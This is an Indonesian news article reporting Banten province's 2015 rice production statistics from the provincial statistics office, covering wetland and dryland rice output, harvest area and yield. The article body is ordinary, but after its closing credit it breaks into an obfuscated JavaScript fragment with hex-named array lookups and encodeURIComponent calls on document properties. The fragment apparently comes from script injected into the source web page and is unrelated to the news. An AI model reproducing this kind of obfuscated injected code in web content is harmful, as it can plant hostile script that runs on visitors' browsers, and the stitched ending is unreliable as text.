Serang – Angka Sementara produksi padi di Provinsi Banten pada 2015 menyebutkan bertambah 143,11 ribu ton atau naik 7 persen dibandingkan tahun sebelumnya dari 2,05 juta ton menjadi 2,19 juta ton gabah kering giling (GKG).

Kepala Badan Pusat Statistik (BPS) Banten Agoes Soebeno di Serang, Senin, 7 Maret 2016 mengatakan peningkatan produksi sangat dipengaruhi oleh peningkatan produksi padi sawah yang meningkat 164,21 ribu ton atau 8,36 persen dibandingkan tahun 2014.

Sementara itu, padi ladang mengalami penurunan 21,1 ribu ton atau minus 25,60 persen bila dibandingkan produksi padi ladang tahun 2014.

Peningkatan produksi padi sawah juga dipengaruhi oleh meningkatnya luas panen sebesar 6,52 ribu hektare dari 361,63 ribu hektare tahun 2014 menjadi 368,15 ribu hektare pada 2015 atau naik 1,80 persen. Sementara itu produktivitas padi sawah pada 2015 mengalami peningkatan yang cukup signifikan dari 54,29 ku/ha pada 2014 menjadi 57,79 ku/ha pada 2015 atau meningkat 6,44 persen.

Ia mengatakan peningkatan produksi padi sawah erat kaitannya dengan adanya program upaya khusus peningkatan produksi padi yang dicanangkan oleh pemerintah tahun 2015.

Fenomena el nino yang berdampak pada kekeringan yang melanda wilayah Indonesia dapat ditekan dan dikurangi dengan berbagai program yang digulirkan pemerintah untuk meningkatkan produksi padi termasuk jagung dan kedelai khususnya di Provinsi Banten yaitu perbaikan atau rehabilitasi jaringan irigasi tersier (RJIT) seluas 48.200 hektare, system rice og intensification (SRI) seluas 2.440 hektare.

Berbeda dengan padi sawah, produksi padi ladang pada 2015 mengalami penurunan cukup signifikan bila dibandingkan tahun 2014. Produksi padi ladang pada 2015 mencapai 61,32 ribu ton atau menurun 25,60 persen dari produksi padi ladang 2014 yang mencapai 82,42 ribu ton.

Penurunan produksi padi ladang sangat dipengaruhi oleh turunnya luas panen dari 24,76 ribu hektare pada 2014 menjadi 18,52 ribu hektare pada 2015 atau turun 25,20 persen. (ANT/Sir) RIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}